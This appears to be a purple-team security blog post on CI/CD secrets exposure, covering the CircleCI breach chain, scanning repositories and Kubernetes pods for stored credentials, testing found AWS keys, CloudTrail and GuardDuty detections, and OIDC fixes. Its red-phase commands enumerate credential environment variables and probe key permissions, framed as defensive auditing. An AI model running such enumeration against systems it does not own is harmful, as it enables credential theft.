										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <strong>CI/CD secrets exposure</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>CI/CD secrets exposure</strong> is OWASP A08 + A02: credentials committed to repositories or stored in pipeline environment variables can be exfiltrated when the platform is compromised, and automated scanners find them within seconds of a public commit</li>
<li>The CircleCI breach (January 2023): an engineer&#8217;s laptop was compromised via malware → session token stolen → attacker accessed CircleCI production systems → all customer environment variables (AWS keys, GitHub tokens, SSH keys) exfiltrated</li>
<li>The structural problem: long-lived credentials stored in a CI/CD platform are only as secure as the platform itself — if the platform is compromised, all stored secrets are compromised</li>
<li>The structural fix: <a href="/oidc-workload-identity-eliminate-cloud-access-keys/">OIDC workload identity</a> replaces stored credentials with short-lived tokens issued at job runtime — there is nothing to exfiltrate</li>
<li>Pre-commit hooks and CI-layer secret scanning are detection layers, not structural fixes — they catch accidents, not determined attackers</li>
<li>Automated secret scanners (TruffleHog, Gitleaks) find credentials in public repos within 60–90 seconds of commit</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A08 Software and Data Integrity Failures — build pipeline integrity. A02 Cryptographic Failures — secrets stored in ways that allow exfiltration.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────┐
│                  CI/CD SECRETS ATTACK SURFACE                       │
│                                                                     │
│   VECTOR 1: COMMITTED TO VCS                                        │
│   Developer ── git commit ──&#x25b6; .env with AWS_SECRET_KEY              │
│   Automated scanner ──────&#x25b6;  clones within 60 seconds              │
│   Attacker ───────────────&#x25b6;  accesses AWS before dev notices        │
│                                                                     │
│   VECTOR 2: STORED IN CI/CD PLATFORM                                │
│   DevOps ─── configures ──&#x25b6;  AWS_ACCESS_KEY_ID in CircleCI         │
│   Attacker compromises CircleCI → exfiltrates all org env vars      │
│                                                                     │
│   VECTOR 3: IN CONTAINER/PROCESS ENV                                │
│   kubectl exec / docker inspect ──&#x25b6;  printenv shows credentials     │
│   Anyone with container exec access = credential access             │
│                                                                     │
│   VECTOR 4: IN BUILD ARTIFACTS / LOGS                               │
│   Build log: &quot;Using token: ghp_xxxxxxxxxxxx...&quot; → exposed in log   │
│                                                                     │
│   ═══════════════════════════════════════════════════════           │
│   STRUCTURAL FIX: OIDC WORKLOAD IDENTITY                            │
│   No stored credential → nothing to commit, nothing to exfiltrate  │
│   CI job requests token at runtime → 1-hour TTL → expired          │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>CI/CD secrets exposure</strong> is not primarily a developer discipline problem — it is a structural problem. When credentials are stored in a CI/CD platform, in environment variables, or in version control, the only question is when they will be exposed, not whether. The structural answer replaces stored credentials with dynamically issued, short-lived tokens that cannot be exfiltrated because they don&#8217;t persist.</p>
<hr />
<h2 id="the-25-minute-compromise-how-automated-scanning-works-against-you">The 25-Minute Compromise: How Automated Scanning Works Against You</h2>
<p>At 2:47 AM, a developer committed a <code class="" data-line="">.env</code> file to a public GitHub repository. It contained:</p>
<pre><code class="" data-line="">DATABASE_URL=postgres://admin:prod_p@ssw0rd@db.internal.company.com:5432/customers
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
STRIPE_SECRET_KEY=sk_live_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
GITHUB_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
</code></pre>
<p>At 2:48 AM — 60 seconds later — an automated scanner had cloned the repository. These scanners run continuously against GitHub&#8217;s public event stream, looking for credential patterns in new commits, new files, and new repository forks.</p>
<p>At 3:12 AM — 25 minutes after the commit — the database started receiving unusual queries. The automated scanning infrastructure is not operated by individuals manually watching for leaks. It is fully automated: pattern match → clone → test credential validity → if valid, begin exploitation or sell.</p>
<p>GitHub now runs its own secret scanning and immediately invalidates some credential types (GitHub tokens, AWS IAM keys partnered with AWS) when detected in public repositories. This covers a subset of credential types. It does not cover database passwords, service-specific tokens for non-partnered services, or private repository commits that become public via fork.</p>
<hr />
<h2 id="the-circleci-breach-platform-level-credential-exfiltration">The CircleCI Breach: Platform-Level Credential Exfiltration</h2>
<p>The CircleCI breach (January 2023) is the definitive example of CI/CD platform-level secrets exposure. The attack chain:</p>
<pre><code class="" data-line="">1. CircleCI engineer&#039;s laptop compromised via malware (initial vector not fully disclosed)
2. Malware steals a 2FA-authenticated SSO session token
3. Session token valid, not expired
4. Attacker uses session token to authenticate to CircleCI internal systems
5. From internal access, attacker reaches production database
6. Production database contains encrypted customer secrets (environment variables)
7. Database also contains the encryption keys (in accessible internal system)
8. Attacker exfiltrates: encrypted secrets + encryption keys = plaintext secrets
</code></pre>
<p><strong>What was stored in CircleCI environment variables by customers:</strong><br />
&#8211; AWS IAM access key ID and secret access key pairs<br />
&#8211; GitHub personal access tokens and OAuth tokens<br />
&#8211; DockerHub credentials<br />
&#8211; SSH private keys (for deployment access)<br />
&#8211; Heroku API keys<br />
&#8211; Stripe, Twilio, SendGrid API keys<br />
&#8211; Internal service account credentials</p>
<p>CircleCI could not determine which customer secrets were accessed and which were not — they notified all customers to rotate all credentials stored in their system.</p>
<p><strong>The scale of the blast radius:</strong> Any customer who had stored long-lived credentials in CircleCI environment variables was potentially compromised. The credential was valid. The CircleCI platform&#8217;s encryption only protected against offline attacks — an attacker with internal database access and access to the key management system had everything needed to decrypt.</p>
<hr />
<h2 id="red-phase-enumerating-secrets-exposure-in-your-pipeline">Red Phase: Enumerating Secrets Exposure in Your Pipeline</h2>
<h3 id="scanning-repositories-for-committed-secrets">Scanning Repositories for Committed Secrets</h3>
<pre><code class="" data-line=""># Install: pip install trufflehog3 or use the Docker image
docker run --rm \
  -v &quot;$(pwd):/repo&quot; \
  trufflesecurity/trufflehog:latest \
  git file:///repo \
  --json \
  --only-verified \
  2&gt;/dev/null | \
  jq &#039;{
    file: .SourceMetadata.Data.Git.file,
    commit: .SourceMetadata.Data.Git.commit,
    detector: .DetectorName,
    verified: .Verified,
    line: .SourceMetadata.Data.Git.line
  }&#039;
</code></pre>
<pre><code class="" data-line=""># Gitleaks: alternative scanner with SARIF output for CI integration
gitleaks detect \
  --source . \
  --report-format sarif \
  --report-path gitleaks-report.sarif \
  --verbose

# Or: scan entire git history (catches secrets that were committed then deleted)
gitleaks detect \
  --source . \
  --log-opts=&quot;--all&quot; \
  --report-format json \
  --report-path gitleaks-history.json
</code></pre>
<pre><code class="" data-line=""># Scan a specific GitHub organization&#039;s public repositories
# (test your own org before red team exercises)
trufflehog github \
  --org your-github-org \
  --token &quot;${GITHUB_TOKEN}&quot; \
  --json \
  --only-verified \
  2&gt;/dev/null | \
  jq &#039;{
    repo: .SourceMetadata.Data.Github.repository,
    file: .SourceMetadata.Data.Github.file,
    detector: .DetectorName,
    verified: .Verified
  }&#039;
</code></pre>
<h3 id="enumerating-secrets-in-cicd-platform-environment-variables">Enumerating Secrets in CI/CD Platform Environment Variables</h3>
<pre><code class="" data-line=""># GitHub Actions: list secrets defined in a repository
# (shows names only — values are not returned by API, but names reveal what&#039;s stored)
curl -H &quot;Authorization: Bearer ${GITHUB_TOKEN}&quot; \
  -H &quot;Accept: application/vnd.github+json&quot; \
  &quot;https://api.github.com/repos/your-org/your-repo/actions/secrets&quot; | \
  jq &#039;.secrets[] | {name: .name, updated: .updated_at}&#039;

# GitHub Actions: list organization-level secrets
curl -H &quot;Authorization: Bearer ${GITHUB_TOKEN}&quot; \
  -H &quot;Accept: application/vnd.github+json&quot; \
  &quot;https://api.github.com/orgs/your-org/actions/secrets&quot; | \
  jq &#039;.secrets[] | {name: .name, visibility: .visibility, updated: .updated_at}&#039;
</code></pre>
<pre><code class="" data-line=""># Check for credentials in running pod environment variables (Kubernetes)
# This is what an attacker with kubectl exec access would do
kubectl get pods -A -o json | \
  jq -r &#039;.items[] | 
    .metadata.namespace + &quot;/&quot; + .metadata.name + &quot;: &quot; + 
    ([.spec.containers[].env[]? | 
      select(.name | test(&quot;KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|API&quot;; &quot;i&quot;)) |
      .name
    ] | join(&quot;, &quot;))&#039; | \
  grep -v &quot;: $&quot;  # Only show pods with matching env var names
</code></pre>
<h3 id="testing-whether-aws-keys-in-cicd-are-over-permissioned">Testing Whether AWS Keys in CI/CD Are Over-Permissioned</h3>
<pre><code class="" data-line=""># If you find an AWS access key in a scan — test its permissions
# (on your own test account&#039;s keys only)
aws sts get-caller-identity
# Returns: account, user/role ARN, caller ID

# What can this key do?
aws iam simulate-principal-policy \
  --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
  --action-names &quot;s3:*&quot; &quot;ec2:*&quot; &quot;iam:*&quot; &quot;sts:AssumeRole&quot; \
  --query &#039;EvaluationResults[?EvalDecision==`allowed`].EvalActionName&#039; \
  --output text
</code></pre>
<hr />
<h2 id="blue-phase-detection-across-the-secret-lifecycle">Blue Phase: Detection Across the Secret Lifecycle</h2>
<h3 id="github-secret-scanning-alerts">GitHub Secret Scanning Alerts</h3>
<pre><code class="" data-line=""># List secret scanning alerts in a repository via GitHub API
curl -H &quot;Authorization: Bearer ${GITHUB_TOKEN}&quot; \
  -H &quot;Accept: application/vnd.github+json&quot; \
  &quot;https://api.github.com/repos/your-org/your-repo/secret-scanning/alerts?state=open&quot; | \
  jq &#039;.[] | {
    type: .secret_type,
    state: .state,
    created: .created_at,
    url: .html_url
  }&#039;
</code></pre>
<h3 id="cloudtrail-detecting-api-activity-from-cicd-credentials">CloudTrail: Detecting API Activity from CI/CD Credentials</h3>
<p>When a CI/CD credential is used by an attacker, the CloudTrail events show unusual patterns:</p>
<pre><code class="" data-line=""># Find API calls from CI/CD credentials outside normal working hours
# or from unexpected IPs (attacker using the stolen key)
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue=ci-deploy-user \
  --start-time &quot;$(date -d &#039;7 days ago&#039; --iso-8601=seconds)&quot; \
  --query &#039;Events[].{Time:EventTime,Name:EventName,IP:CloudTrailEvent}&#039; \
  --output json | \
  jq &#039;.[] | {
    time: .Time,
    event: .Name,
    ip: (.IP | fromjson | .sourceIPAddress),
    user_agent: (.IP | fromjson | .userAgent)
  }&#039; | \
  jq &#039;select(.ip | test(&quot;^(10\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|192\\.168\\.)&quot;) | not)&#039;
  # Filter: events from non-RFC1918 IPs (outside your known CI/CD IP ranges)
</code></pre>
<h3 id="siem-query-credential-used-in-multiple-regions-simultaneously">SIEM Query: Credential Used in Multiple Regions Simultaneously</h3>
<p>A credential being used from multiple regions simultaneously is a strong indicator of compromise:</p>
<pre><code class="" data-line="">-- Athena query against CloudTrail logs
-- Detect: same access key used from multiple regions in same hour
SELECT
  userIdentity.accessKeyId,
  userIdentity.userName,
  COUNT(DISTINCT awsRegion) as region_count,
  ARRAY_AGG(DISTINCT awsRegion) as regions,
  COUNT(DISTINCT sourceIPAddress) as ip_count,
  ARRAY_AGG(DISTINCT sourceIPAddress) as source_ips,
  DATE_TRUNC(&#039;hour&#039;, from_iso8601_timestamp(eventTime)) as hour
FROM cloudtrail_logs
WHERE
  userIdentity.type = &#039;IAMUser&#039;
  AND from_iso8601_timestamp(eventTime) &gt; current_timestamp - interval &#039;7&#039; day
GROUP BY
  userIdentity.accessKeyId,
  userIdentity.userName,
  DATE_TRUNC(&#039;hour&#039;, from_iso8601_timestamp(eventTime))
HAVING COUNT(DISTINCT awsRegion) &gt; 2
ORDER BY region_count DESC;
</code></pre>
<h3 id="guardduty-credential-exfiltration-indicators">GuardDuty: Credential Exfiltration Indicators</h3>
<pre><code class="" data-line=""># GuardDuty findings relevant to CI/CD credential compromise
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty list-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;type&quot;: {
        &quot;Equals&quot;: [
          &quot;UnauthorizedAccess:IAMUser/TorIPCaller&quot;,
          &quot;UnauthorizedAccess:IAMUser/MaliciousIPCaller&quot;,
          &quot;Discovery:IAMUser/AnomalousBehavior&quot;,
          &quot;Exfiltration:IAMUser/AnomalousBehavior&quot;,
          &quot;CredentialAccess:IAMUser/AnomalousBehavior&quot;
        ]
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-ids | \
  jq &#039;.Findings[] | {type: .Type, user: .Resource.AccessKeyDetails.UserName, severity: .Severity}&#039;
</code></pre>
<hr />
<h2 id="purple-phase-the-structural-fix">Purple Phase: The Structural Fix</h2>
<h3 id="fix-1-oidc-workload-identity-eliminate-stored-credentials">Fix 1: OIDC Workload Identity — Eliminate Stored Credentials</h3>
<p>This is the structural solution. Instead of storing an AWS IAM access key in your CI/CD platform, the CI/CD job authenticates to AWS using an OIDC token issued by the CI/CD provider. AWS validates the token against a pre-configured trust policy and issues temporary credentials valid for the duration of the job.</p>
<p>The <a href="/oidc-workload-identity-eliminate-cloud-access-keys/">OIDC workload identity approach eliminates static cloud access keys</a> entirely — there is no secret to commit, no secret to exfiltrate from the CI/CD platform, and no long-lived credential to rotate on breach.</p>
<p><strong>GitHub Actions with AWS OIDC — complete setup:</strong></p>
<pre><code class="" data-line=""># .github/workflows/deploy.yml
name: Deploy to AWS

on:
  push:
    branches: [main]

permissions:
  id-token: write   # Required for OIDC token request
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Configure AWS credentials via OIDC
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy-role
          role-session-name: github-actions-${{ github.run_id }}
          aws-region: us-east-1
          # No AWS_ACCESS_KEY_ID or AWS_SECRET_ACCESS_KEY needed

      - name: Deploy
        run: aws s3 sync ./dist s3://your-bucket/
</code></pre>
<p><strong>AWS IAM trust policy for GitHub Actions OIDC:</strong></p>
<pre><code class="" data-line="">{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {
        &quot;Federated&quot;: &quot;arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com&quot;
      },
      &quot;Action&quot;: &quot;sts:AssumeRoleWithWebIdentity&quot;,
      &quot;Condition&quot;: {
        &quot;StringEquals&quot;: {
          &quot;token.actions.githubusercontent.com:aud&quot;: &quot;sts.amazonaws.com&quot;
        },
        &quot;StringLike&quot;: {
          &quot;token.actions.githubusercontent.com:sub&quot;: &quot;repo:your-org/your-repo:ref:refs/heads/main&quot;
        }
      }
    }
  ]
}
</code></pre>
<pre><code class="" data-line=""># Create the OIDC provider in AWS (one-time setup)
aws iam create-open-id-connect-provider \
  --url https://token.actions.githubusercontent.com \
  --client-id-list sts.amazonaws.com \
  --thumbprint-list &quot;6938fd4d98bab03faadb97b34396831e3780aea1&quot;

# Create the IAM role with the trust policy above
aws iam create-role \
  --role-name github-actions-deploy-role \
  --assume-role-policy-document file://github-actions-trust-policy.json

# Attach a least-privilege policy to the role
aws iam attach-role-policy \
  --role-name github-actions-deploy-role \
  --policy-arn arn:aws:iam::123456789012:policy/deploy-policy
</code></pre>
<h3 id="fix-2-pre-commit-hooks-catch-accidents-before-they-reach-vcs">Fix 2: Pre-Commit Hooks — Catch Accidents Before They Reach VCS</h3>
<p>Pre-commit hooks don&#8217;t stop a determined attacker. They catch accidents — the developer who forgets to move a <code class="" data-line="">.env</code> file to <code class="" data-line="">.gitignore</code> before staging all files.</p>
<pre><code class="" data-line=""># Install pre-commit framework
pip install pre-commit

# .pre-commit-config.yaml in your repository root
cat &gt; .pre-commit-config.yaml &lt;&lt; &#039;EOF&#039;
repos:
  - repo: https://github.com/gitleaks/gitleaks
    rev: v8.18.4
    hooks:
      - id: gitleaks
        name: Detect hardcoded secrets
        entry: gitleaks protect --staged --redact --verbose
        language: golang
        pass_filenames: false

  - repo: https://github.com/pre-commit/pre-commit-hooks
    rev: v4.5.0
    hooks:
      - id: detect-private-key
      - id: check-added-large-files
        args: [&#039;--maxkb=1000&#039;]
EOF

# Install the hooks in the local repository
pre-commit install

# Test against staged files
pre-commit run --all-files
</code></pre>
<h3 id="fix-3-ci-layer-secret-scanning-block-before-merge">Fix 3: CI-Layer Secret Scanning — Block Before Merge</h3>
<pre><code class="" data-line=""># GitHub Actions: secret scanning as a required status check
# .github/workflows/secret-scan.yml
name: Secret Scan

on:
  pull_request:
    types: [opened, synchronize]

jobs:
  secret-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0  # Full history for git log scanning

      - name: Run TruffleHog
        uses: trufflesecurity/trufflehog@main
        with:
          path: ./
          base: ${{ github.event.repository.default_branch }}
          head: HEAD
          extra_args: --only-verified --json
</code></pre>
<pre><code class="" data-line=""># GitLab CI: secret detection built-in template
include:
  - template: Security/Secret-Detection.gitlab-ci.yml

secret_detection:
  stage: test
  variables:
    SECRET_DETECTION_HISTORIC_SCAN: &quot;true&quot;  # Scan full history
</code></pre>
<h3 id="fix-4-audit-and-rotate-existing-cicd-platform-secrets">Fix 4: Audit and Rotate Existing CI/CD Platform Secrets</h3>
<p>After implementing OIDC, the migration path for existing stored credentials:</p>
<pre><code class="" data-line="">#!/bin/bash
# Purple Team EP06 — CI/CD Secrets Migration Audit
# Identifies AWS IAM keys stored in CI/CD that should be replaced with OIDC

echo &quot;=== AWS IAM Keys Potentially Stored in CI/CD ===&quot;
echo &quot;--- Keys not used from expected CI/CD IPs in last 30 days ---&quot;

# Get all IAM access keys
aws iam list-users --query &#039;Users[].UserName&#039; --output text | tr &#039;\t&#039; &#039;\n&#039; | \
  while read user; do
    keys=$(aws iam list-access-keys --user-name &quot;$user&quot; \
      --query &#039;AccessKeyMetadata[?Status==`Active`].{Key:AccessKeyId,Created:CreateDate}&#039; \
      --output json)

    if [ &quot;$(echo &quot;$keys&quot; | jq length)&quot; -gt 0 ]; then
      echo &quot;&quot;
      echo &quot;User: $user&quot;
      echo &quot;$keys&quot; | jq -r &#039;.[] | &quot;  Key: &quot; + .Key + &quot; | Created: &quot; + .Created&#039;

      # Check last used
      echo &quot;$keys&quot; | jq -r &#039;.[].Key&#039; | while read key_id; do
        last_used=$(aws iam get-access-key-last-used --access-key-id &quot;$key_id&quot; \
          --query &#039;AccessKeyLastUsed.{Date:LastUsedDate,Service:ServiceName,Region:Region}&#039; \
          --output json)
        echo &quot;  Last used: $(echo &quot;$last_used&quot; | jq -r &#039;.Date // &quot;Never&quot;&#039;) | Service: $(echo &quot;$last_used&quot; | jq -r &#039;.Service // &quot;N/A&quot;&#039;)&quot;
      done
    fi
  done

echo &quot;&quot;
echo &quot;=== MIGRATION CHECKLIST ===&quot;
echo &quot;  1. For each CI/CD IAM key above:&quot;
echo &quot;     a. Identify which CI/CD platform uses it&quot;
echo &quot;     b. Set up OIDC trust policy for that platform&quot;
echo &quot;     c. Update pipeline to use OIDC (no stored key)&quot;
echo &quot;     d. Disable and then delete the IAM key&quot;
echo &quot;     e. Verify pipelines still work&quot;
</code></pre>
<hr />
<h2 id="run-this-in-your-own-environment-secrets-exposure-audit">Run This in Your Own Environment: Secrets Exposure Audit</h2>
<pre><code class="" data-line="">#!/bin/bash
# Purple Team EP06 — CI/CD Secrets Exposure Audit
# Run from your workstation with git and trufflehog installed

echo &quot;=== 1. Scan Local Repository for Committed Secrets ===&quot;
if command -v trufflehog &gt; /dev/null 2&gt;&amp;1; then
  trufflehog git file://$(pwd) --only-verified --json 2&gt;/dev/null | \
    jq &#039;{file: .SourceMetadata.Data.Git.file, detector: .DetectorName}&#039; || \
    echo &quot;  No verified secrets found in git history&quot;
else
  echo &quot;  Install trufflehog: pip install trufflehog3&quot;
fi

echo &quot;&quot;
echo &quot;=== 2. Check for .env Files in Git History ===&quot;
git log --all --full-history -- &quot;*.env&quot; &quot;**/.env&quot; &quot;.env.*&quot; 2&gt;/dev/null | \
  grep &quot;^commit&quot; | head -5 | \
  while read _ commit; do
    echo &quot;  .env file committed: $commit&quot;
    git show &quot;$commit&quot; --stat | head -3
  done

echo &quot;&quot;
echo &quot;=== 3. Check Running Pods for Credential Env Vars (Kubernetes) ===&quot;
if command -v kubectl &gt; /dev/null 2&gt;&amp;1; then
  kubectl get pods -A -o json 2&gt;/dev/null | \
    jq -r &#039;.items[] | 
      .metadata.namespace + &quot;/&quot; + .metadata.name + &quot;: &quot; + 
      ([.spec.containers[].env[]? | 
        select(.name | test(&quot;KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL&quot;; &quot;i&quot;)) |
        .name
      ] | join(&quot;, &quot;))&#039; | \
    grep -v &quot;: $&quot; | head -20
else
  echo &quot;  kubectl not found&quot;
fi

echo &quot;&quot;
echo &quot;=== 4. GitHub Actions Secrets Inventory ===&quot;
if [ -n &quot;${GITHUB_TOKEN}&quot; ]; then
  REPO=&quot;your-org/your-repo&quot;  # Update this
  curl -s -H &quot;Authorization: Bearer ${GITHUB_TOKEN}&quot; \
    -H &quot;Accept: application/vnd.github+json&quot; \
    &quot;https://api.github.com/repos/${REPO}/actions/secrets&quot; | \
    jq &#039;.secrets[] | {name: .name, updated: .updated_at}&#039;
else
  echo &quot;  Set GITHUB_TOKEN to enumerate repository secrets&quot;
fi
</code></pre>
<hr />
<h2 id="common-mistakes-when-addressing-cicd-secrets-exposure"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common Mistakes When Addressing CI/CD Secrets Exposure</h2>
<p><strong>Treating secret scanning as the primary control.</strong> TruffleHog and Gitleaks catch what gets committed. They do not prevent the CircleCI attack class — an attacker who compromises the CI/CD platform itself bypasses all scanning controls. Scanning is detection; OIDC workload identity is prevention.</p>
<p><strong>Rotating compromised keys without checking CloudTrail for use.</strong> When a secret is exposed, the first question is not &#8220;rotate it&#8221; — it is &#8220;was it used?&#8221; Check CloudTrail for any API activity from the key between the suspected exposure time and the rotation. If the key was used, you have an active incident, not just a credential rotation task.</p>
<p><strong>Using OIDC trust policies that are too broad.</strong> The GitHub Actions OIDC trust policy in the fix section uses a <code class="" data-line="">StringLike</code> condition on the <code class="" data-line="">sub</code> claim to scope to a specific repository and branch. If you use <code class="" data-line="">StringLike: &quot;*&quot;</code> instead, any GitHub Actions job in any repository can assume your role. Always scope OIDC trust policies to the specific repository, branch, and environment that needs the access.</p>
<p><strong>Not scanning git history — only the working tree.</strong> Secrets that were committed and then deleted are still in git history. <code class="" data-line="">git rm</code> removes the file from the working tree but not from the object store. TruffleHog and Gitleaks scan history by default when given the <code class="" data-line="">--all</code> flag. Scanning only the current working tree misses all historical exposures.</p>
<p><strong>Forgetting third-party GitHub Actions.</strong> The supply chain attack surface includes the Actions you reference in your workflows. An Action pinned to a mutable tag (<code class="" data-line="">@main</code>, <code class="" data-line="">@v1</code>) can be changed by the maintainer. Pin to a specific commit SHA and verify the Action&#8217;s provenance.</p>
<pre><code class="" data-line=""># Vulnerable: mutable tag
- uses: aws-actions/configure-aws-credentials@v4

# Secure: pinned SHA
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e831c1e4c763fe4
</code></pre>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Secret Storage Pattern</th>
<th>Risk Level</th>
<th>Structural Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>.env file committed to public repo</td>
<td>Critical</td>
<td>Pre-commit hook + OIDC</td>
</tr>
<tr>
<td>.env file committed to private repo</td>
<td>High</td>
<td>Git history purge + pre-commit hook + OIDC</td>
</tr>
<tr>
<td>Long-lived key in CI/CD env var</td>
<td>High</td>
<td>OIDC workload identity</td>
</tr>
<tr>
<td>Long-lived key in K8s Secret</td>
<td>High</td>
<td>Pod identity / IRSA / Workload Identity</td>
</tr>
<tr>
<td>Secret in build log output</td>
<td>Medium</td>
<td>Mask secrets in CI configuration</td>
</tr>
<tr>
<td>Secret in container env var</td>
<td>Medium</td>
<td>Vault agent / CSI secrets driver</td>
</tr>
<tr>
<td>Key referenced via AWS Secrets Manager</td>
<td>Low (if scoped)</td>
<td>Use for remaining static secrets</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>CI/CD secrets exposure</strong> is structural: long-lived credentials in a CI/CD platform are only as secure as that platform — the CircleCI breach proved that encryption alone is insufficient if the attacker can access the keys</li>
<li>Automated secret scanners find publicly committed credentials within 60–90 seconds — rotation must happen faster than that or assume compromise</li>
<li>Pre-commit hooks and CI secret scanning catch accidents; they do not prevent determined attackers who compromise the platform itself</li>
<li><a href="/oidc-workload-identity-eliminate-cloud-access-keys/">OIDC workload identity</a> is the structural fix: no stored credential means no credential to exfiltrate</li>
<li>When rotating a compromised key, check CloudTrail for usage between exposure and rotation before closing the incident</li>
<li>OIDC trust policies must be scoped to specific repositories and branches — a wildcard trust policy recreates the exposure in a different form</li>
<li>Pin third-party GitHub Actions to commit SHAs, not mutable tags — mutable tags are a supply chain attack surface</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP07 covers SSRF to cloud metadata: how an SSRF vulnerability in any application layer becomes a straight line to IAM credentials when IMDSv2 is not enforced. The Capital One breach anatomy — WAF SSRF → EC2 metadata → IAM role credentials → 100 million S3 records — in full technical detail, with the simulation commands and the one-line enforcement fix. If you&#8217;ve addressed identity and secrets, the network attack paths are where EP07 through EP10 focus.</p>
